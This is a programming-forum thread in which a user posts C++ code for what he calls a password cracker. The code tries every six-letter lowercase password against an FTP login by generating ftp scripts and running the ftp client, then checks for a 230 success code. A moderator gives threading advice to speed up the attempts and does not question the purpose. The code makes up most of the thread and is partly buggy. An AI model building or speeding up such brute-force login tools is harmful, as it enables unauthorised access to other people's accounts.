473,799 Members | 2,907 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

system() in for loop

109 New Member
I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login:

Expand|Select|Wrap|Line Numbers
  1. cout<< a << b << c << d << e << f <<"\n";
  2. ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
  3. record<< a << b << c << d << e << f;
  4. record.close();
  5. ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
  6. char password[6];
  7. readrecord>> password;
  8. ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
  9. ftpscript<< username <<"\n" << password <<"\n" <<"bye";
  10. ftpscript.close();
  11. system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");
This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.
Jun 30 '07
21 2271
niskin
109 New Member
Thanks, this is making a lot more sense now. I have compiled this and once I enter in the password, the program stops responding:

Expand|Select|Wrap|Line Numbers
  1. #include <fstream>
  2. #include <iostream>
  3. using namespace std;
  4. #include <windows.h>
  5.  
  6. struct Data
  7. {
  8.        char* userid;
  9.        char* password;
  10.        char* ftpcommandline;
  11. };
  12. Data var;
  13.  
  14. DWORD WINAPI niskin(LPVOID arg)
  15. {
  16.     Data*  ptr = reinterpret_cast<Data*> (arg);
  17.     char letters[100];
  18.     ifstream user ( "username.txt" );
  19.     user>> ptr->userid;
  20.     user.close();
  21.     char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
  22.     ifstream record ( "record.txt" );
  23.     record>> letters;
  24.     record.close();
  25.       for(char a = letters[0]; a <= alphabet[25]; a++)
  26.     {
  27.              for(char b = letters[1]; b <= alphabet[25]; b++)
  28.              {
  29.                       for(char c = letters[2]; c <= alphabet[25]; c++)
  30.                       {
  31.                            for(char d = letters[3]; d <= alphabet[25]; d++)
  32.                            {
  33.                                     for(char e = letters[4]; e <= alphabet[25]; e++)
  34.                                     {
  35.                                              for(char f = letters[5]; f <= alphabet[25]; f++)
  36.                                              {
  37.  
  38.                                              //The LPVOID argument is the address of a struct Data (see below)
  39.                                              //Type cast arg to a Data* to access the members.
  40.                                              //do the ftp in here.
  41.                                              FILE *success;
  42.                                              success=fopen("success.txt", "w+");
  43.                                              fprintf(success, "");
  44.                                              fclose(success);
  45.                                              cout<< a << b << c << d << e << f <<"\n";
  46.                                              ofstream record ( "record.txt" );
  47.                                              record<< a << b << c << d << e << f;
  48.                                              record.close();
  49.                                              ifstream readrecord ( "record.txt" );
  50.                                              readrecord>> ptr->password;
  51.                                              ofstream ftpscript ( "ftpscript.txt" );
  52.                                              ftpscript<< ptr->userid <<"\n" << ptr->password <<"\n" <<"bye";
  53.                                              ftpscript.close();
  54.                                              char   psBuffer[128];
  55.                                              FILE   *pPipe;
  56.                                              /* Run command so that it writes its output to a pipe. Open this
  57.                                               * pipe with read text attribute so that we can read it 
  58.                                               * like a text file. 
  59.                                               */
  60.                                              if( (pPipe = _popen( "<command-to-connect-to-ftp>", "rt" )) == NULL )
  61.  
  62.                                              /* Read pipe until end of file. */
  63.                                              while( !feof( pPipe ) )
  64.                                              {
  65.                                              if( fgets( psBuffer, 128, pPipe ) != NULL )
  66.                                              //printf( psBuffer );
  67.                                              FILE *success;
  68.                                              success=fopen("success.txt", "a+");
  69.                                              fprintf(success, psBuffer);
  70.                                              fclose(success);
  71.                                              }
  72.                                     }
  73.                            }    
  74.                       }
  75.              }
  76. }
  77. }
  78. }
  79.  
  80. HANDLE StartThread(Data* arg)
  81. {
  82.        DWORD threadid;     //to hold the returned thread id
  83.        HANDLE th = CreateThread(
  84.               NULL,      //use default security
  85.               0,      //use stack size of calling thread
  86.               niskin,     //the thread
  87.               (LPVOID)arg,         //the thread input argument
  88.               0,      //run immediately
  89.               &threadid
  90.               );
  91.       return th;
  92.       }
  93.  
  94. int main() {
  95.  
  96.     char letters[100];
  97.     char username[20];
  98.     cout<<"Enter the username to use: ";
  99.     cin.getline(username,20);
  100.     ofstream user ( "username.txt" );
  101.     user<< username;
  102.     user.close();
  103.     cout<<"\nEnter the letters to use: ";
  104.     cin.getline(letters,100);
  105.     ofstream record ( "record.txt" );
  106.     record<< letters;
  107.     record.close();
  108.  
  109.     if(strlen(letters)==6)
  110.     {
  111.     while(1==1){
  112.     Data var1;
  113.          //put values to the var1 members
  114.          StartThread(&var1);
  115.     /*Data var2;
  116.          //put values to the var2members
  117.          StartThread(&var2);
  118.     Data var3;
  119.          //put values to the var3 members
  120.          StartThread(&var3);*/
  121.  
  122.     char reada[20];
  123.     char readb[20];
  124.     char readc[20];
  125.     char readd[20];
  126.     char reade[20];
  127.     char readf[20];
  128.     char readg[20];
  129.     char readh[20];
  130.     char readi[20];
  131.     char readj[20];
  132.     char readk[20];
  133.     char readl[20];
  134.     char readm[20];
  135.     int readn;
  136.  
  137.     char password[20];                                                  
  138.     ifstream readrecord ("record.txt");                                                  
  139.     readrecord>> password;
  140.     ifstream read ( "success.txt" );
  141.     read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
  142.     read.close();
  143.     if (readn == 230){
  144.               cout<< "\n\nYou are now logged in";
  145.               cin.get();
  146.       }
  147. }
  148.  
  149. }
Jul 8 '07 #21
weaknessforcats
9,208 Recognized Expert Moderator Expert
Data var1;
//put values to the var1 members
StartThread(&va r1);
/*Data var2;
//put values to the var2members
StartThread(&va r2);
Data var3;
//put values to the var3 members
StartThread(&va r3);*/
I see var1 defined burt I do not see where you actually put data into the variable before you start your thread. Instead, I see a huge chunk of main()
inside your thread function (niskin). You define the variable outside the function and put information in it inside the function. That makes it a pointless argument. It also means your function is doing about 25 things. Functions shoule do about 1 thing.

Read your file., get your userid and password ands ftp command line and put that informattion in a Data variable. Then call StartThread using the address of that variable.

I say again from my Post #20, that your thread function should look like:
Expand|Select|Wrap|Line Numbers
  1. DWORD WINAPI niskin(LPVOID arg)
  2. {
  3.       Data*  ptr = reinterpret_cast<Data*> (arg);
  4.       //
  5.       //OK. Now ptr->userid is the userid
  6.       //              ptr->password
  7.       //              ptr->ftpcommandline
  8.       //
  9.       //TODO: Build a string using this stuff and call the system()
  10.       _popen("your ftp string does here");
  11. }
  12.  
In other words, your thread function should not have more than this in it.

Your current approach has you calling StartThread(), which launches a thread but then the thread function becomes a main(), complete with data entry.

You can't do this because when you launch a second thread, both threads will use the same ifstrream and they will trip over each other and cause your program to hang up.

When using threads, there can be no information common to more than one thread unless you establish a thing called a critical section. As a beginner in threads, just make sure that no information is shared by more than one thread.

To sum up:
1) read your file
2) get the userid, password and ftp string
3) create a Data variable
4) put the userid, password and ftp string insid ethe Data variable
5) start yout thread (call StartThread())
6) repeats steps 1-5 until you have processed the entire file
7) etc..

and be sure your thread function (niskin) looks like my example.

Good Luck.
Jul 8 '07 #22

Sign in to post your reply or Sign up for a free account.

Similar topics

1
2690
by: Bob Helber | last post by:
I've got a perl script with a system command, within a for loop, that calls a FORTRAN program. For one of the iterations of the for loop the FORTRAN program quits with an error due to bad input. This then exits the for loop and does not continue the loop, which I would like it to do, even if the FORTRAN program crashes. How can I "catch" this error and continue the loop. Do I have to fix the FORTRAN program to exit more cleanly? ...
3
514
by: RitaG | last post by:
Hi. I Have a VB.Net Windows Application that starts up using Sub Main. It's a program that runs in the background and checks something every minute. I use a Timer to accomplish this and it's working but to get it to work I use a boolean variable (mbLoop) and the program runs until mbLoop is set to False. Do While mbLoop ' Loop
1
2590
by: dk | last post by:
Any idea why the response time is slow when running a system tray app when viewing the properties form? There is one primary loop and a timer control which executes every 3minutes. Is having the Primary loop the problem? tia, dk
5
8124
by: Ty Moffett | last post by:
I'm using a queue to hold a series of strings that are complete command line arguments to start the silent/unattended installation of various pieces of software. Here is some sample code. 1 Dim myProcess as New Process 2 myProcess.EnableRaiseEvents = True 3 myProcess.StartInfo.Filename = myQ.Dequeue ' The string value in this instance is "c:\windowsXP-KB824146-x86-ENU.exe /u /n /z" 4 Do Until (myProcess.HasExited = True) 5 Loop
2
2361
by: Stressed Out Developer | last post by:
We have an application that has a 200 count loop that does the following: ' Each time thru the loop we pass the next IP Address is a range (aka 192.168.4.50 thru 192.168.4.254) Try If mUIO_Threads(i) Is Nothing Then mUIO_Threads(i) = New System.Threading.Thread(AddressOf mUIO_DAQ(i).InitDAQ) mUIO_Threads(i).Name = mUIO_DAQ(i).UIO_IPAddr mUIO_Threads(i).IsBackground = False
5
4495
by: MSDN | last post by:
Does anyone know why I am getting Invalid cast exception??? For Each oFile As System.web.HttpPostedFile In Request.Files ....... etc..... Next I Checked that
5
3458
by: =?Utf-8?B?Z215ZXJz?= | last post by:
Hello, I am attempting to start a cmd.exe process and pass several .vbs scripts (with additional parameters) and then read the output from the scripts and make "notes" in a DataTable (the "notes" not being the issue). Beginning with... Dim objProcess As Process Dim objProcessStartInfo As New ProcessStartInfo
9
5619
by: Nathan Sokalski | last post by:
I am trying to use the System.Array.ForEach method in VB.NET. The action that I want to perform on each of the Array values is: Private Function AddQuotes(ByVal value As String) As String Return String.Format("'{0}'", value) End Function Basically, I just want to surround each value with single quotes. However, I am having trouble getting this to work using the System.Array.ForEach method. This may be partially because I am not very...
0
9538
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
10473
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
0
9068
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
0
6804
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
5461
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
0
5584
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4138
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
3755
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.
3
2937
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.